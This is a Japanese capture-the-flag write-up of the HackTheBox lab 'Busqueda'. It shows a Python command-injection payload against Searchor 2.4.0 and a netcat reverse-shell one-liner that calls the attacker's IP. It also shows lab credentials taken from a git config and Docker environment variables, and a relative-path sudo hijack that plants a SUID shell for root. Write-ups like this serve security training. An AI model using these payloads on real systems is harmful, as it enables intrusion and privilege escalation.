このBoxを学習教材にしないことをオススメします!!
Boxのファジング耐性が低すぎて、少し多くリクエストしたら、すぐに不通になります
本筋じゃないところで時間がかかるため、他のBoxを解いたほうがタイパがいいです
概要
- 開いている 80 で Searchor 2.4.0 がホストされていることを確認
- 検索フォームで CMDi が可能であることを確認。 ユーザーシェル(
svc)を取得
- 検索フォームで CMDi が可能であることを確認。 ユーザーシェル(
/var/www/app/.git/configの cody パスワードを利用し、sudo -lを確認- Gitea(
http://gitea.searcher.htb)にアクセスし、sudoで実行できるスクリプトの中身を確認 - 相対パスのハイジャック を実行し、管理者権限を取得
対象環境
| 項目 | 値 |
|---|---|
| 問題 | Busqueda |
| 難易度 | Easy |
| OS | Linux |
| IP | 10.129.87.62 |
| 攻撃者IP | 10.10.15.95 |
攻撃フロー
1. 偵察
rustscan で全ポートを確認
開いているのは 22 / 80。80 は Apache 2.4.52 で、http://searcher.htb/ へリダイレクト
Ch4n24n@htb[/htb]$ rustscan -a $TARGET --ulimit 5000 -t 10000 -- -sC -sV --source-port 53 -reason -T5 -oA tcp-port-scan
Open 10.129.87.62:22
Open 10.129.87.62:80
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
80/tcp open http syn-ack ttl 63 Apache httpd 2.4.52
|_http-title: Did not follow redirect to http://searcher.htb/searcher.htb を /etc/hosts に足した
Ch4n24n@htb[/htb]$ echo $TARGET searcher.htb | sudo tee -a /etc/hosts
10.129.87.62 searcher.htb2. 画面を確認
http://searcher.htb/
検索エンジンを選び、query を送るフォーム。フッターに Flask と Searchor 2.4.0 とある
3. ユーザシェルの取得
(1)脆弱性の調査
Googleで Searchor 2.4.0 poc と検索すると、AIが教えてくれた
(2)id で確認
フォームに以下を入力
| 項目 | 値 |
|---|---|
| Select your engine: | Accuweather |
| What do you want to search for: | ', __import__('os').system('id'))# |
コマンドが実行される
(3)リバースシェル
同じフォームにリバースシェルを入れる
', __import__('os').system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.10.15.95 8200 >/tmp/f'))#攻撃ホストで待つと、接続が来る
Ch4n24n@htb[/htb]$ rlwrap nc -nlvvp 8200
Listening on 0.0.0.0 8200
Connection received on 10.129.87.62 50066
$ whoami
svc(4)ssh で固定
/home/svc/.ssh/authorized_keys に公開鍵を置き、ssh -i id_svc で svc のセッションを固定した
Ch4n24n@htb[/htb]$ ssh -i id_svc svc@$TARGET
Welcome to Ubuntu 22.04.2 LTS (GNU/Linux 5.15.0-69-generic x86_64)
svc@busqueda:~$4. git のパスワードで sudo
アプリディレクトリに .git がある。config の remote に cody のパスワードとホスト名 gitea.searcher.htb が載っている
svc@busqueda:/var/www/app/.git$ cat config
[remote "origin"]
url = http://cody:jh1usoih2bkjaspwe92@gitea.searcher.htb/cody/Searcher_site.git同じパスワードで svc の sudo -l が通る
svc@busqueda:~$ sudo -l
Matching Defaults entries for svc on busqueda:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User svc may run the following commands on busqueda:
(root) /usr/bin/python3 /opt/scripts/system-checkup.py *引数を付けると usage が出る
svc@busqueda:~$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py *
Usage: /opt/scripts/system-checkup.py <action> (arg1) (arg2)
docker-ps : List running docker containers
docker-inspect : Inpect a certain docker container
full-checkup : Run a full system checkupスクリプトの中身は --x--x--x で読めない。
full-checkup のオプション名は、スクリプト側で定義している(っぽい)
svc@busqueda:/opt/scripts$ ls -arlt
total 28
drwxr-xr-x 3 root root 4096 Dec 24 2022 .
-rwx--x--x 1 root root 1903 Dec 24 2022 system-checkup.py
-rwx--x--x 1 root root 3346 Dec 24 2022 install-flask.sh
-rwx--x--x 1 root root 857 Dec 24 2022 full-checkup.sh
-rwx--x--x 1 root root 586 Dec 24 2022 check-ports.py
drwxr-xr-x 4 root root 4096 Mar 1 2023 ..
drwxr-x--- 8 root root 4096 Apr 3 2023 .git5. Gitea でスクリプトを読む
ディスク上の system-checkup.py は読めない。docker-ps で内側の Gitea が出る
svc@busqueda:~$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py docker-ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
960873171e2e gitea/gitea:latest "/usr/bin/entrypoint…" 3 years ago Up 2 hours 127.0.0.1:3000->3000/tcp, 127.0.0.1:222->22/tcp gitea
f84a6b33fb5a mysql:8 "docker-entrypoint.s…" 3 years ago Up 2 hours 127.0.0.1:3306->3306/tcp, 33060/tcp mysql_dbdocker-inspect でコンテナの環境変数を取る。DB パスワードが出る
svc@busqueda:~$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py docker-inspect '{{ range .Config.Env }}{{ println . }}{{ end }}' gitea
USER_UID=115
USER_GID=121
GITEA__database__DB_TYPE=mysql
GITEA__database__HOST=db:3306
GITEA__database__NAME=gitea
GITEA__database__USER=gitea
GITEA__database__PASSWD=yuiu1hoiu4i5ho1uh
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
USER=git
GITEA_CUSTOM=/data/gitea
svc@busqueda:~$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py docker-inspect '{{ range .Config.Env }}{{ println . }}{{ end }}' mysql_db
MYSQL_ROOT_PASSWORD=jI86kGUuj87guWr3RyF
MYSQL_USER=gitea
MYSQL_PASSWORD=yuiu1hoiu4i5ho1uh
MYSQL_DATABASE=giteafull-checkup ではエラーが出る
svc@busqueda:~$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py full-checkup
Something went wrong以上の結果を用いて、以前出てきた gitea.searcher.htb を hosts に足して開き、administrator:yuiu1hoiu4i5ho1uh で Gitea に入る。
http://gitea.searcher.htb/administrator/scripts/src/branch/main/system-checkup.py
system-checkup.py の full-checkup のオプションは、/opt/scripts/full-checkup.sh ではなく ./full-checkup.sh を指定して起動していることがわかる
...SNIP...
elif action == 'full-checkup':
try:
arg_list = ['./full-checkup.sh']
print(run_command(arg_list))
print('[+] Done!')
except:
print('Something went wrong')
exit(1)
...SNIP...
full-checkupでエラーが出てたのは、カレントディレクトリにfull-checkup.shが無かったからだった!
6. 相対パスで root
full-checkup は、実行したディレクトリにある ./full-checkup.sh を root で起動する
/home/svc に細工した full-checkup.sh を置き、実行ビットを立てることで、権限昇格を行う
svc@busqueda:~$ cat full-checkup.sh
#!/bin/bash
cp /bin/sh /tmp && chmod u+s /tmp/sh
svc@busqueda:~$ chmod u+x full-checkup.sh
svc@busqueda:~$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py full-checkup
[+] Done!
svc@busqueda:~$ /tmp/sh -p
# whoami
root参考
- HTB Lab - Busqueda (Easy / Linux)
- Searchor — フッターで出た製品
おわりに
- Gitea のログインユーザに
administratorを使う点が詰まるかもしれません。 あとは、自作したfull-checkup.shに実行権限をつけ忘れるなど、細々としたところで詰まるかも… - ゴールまでのシナリオは作り込まれているので、内容は良かったです
- ただ、これを学習教材にするのは反対です! 理由としては、Boxのファジング耐性が低すぎて、ちょっと多くリクエストしたら、すぐに不通になるからです。 本筋じゃないところで時間がかかるため、やらなくていいです


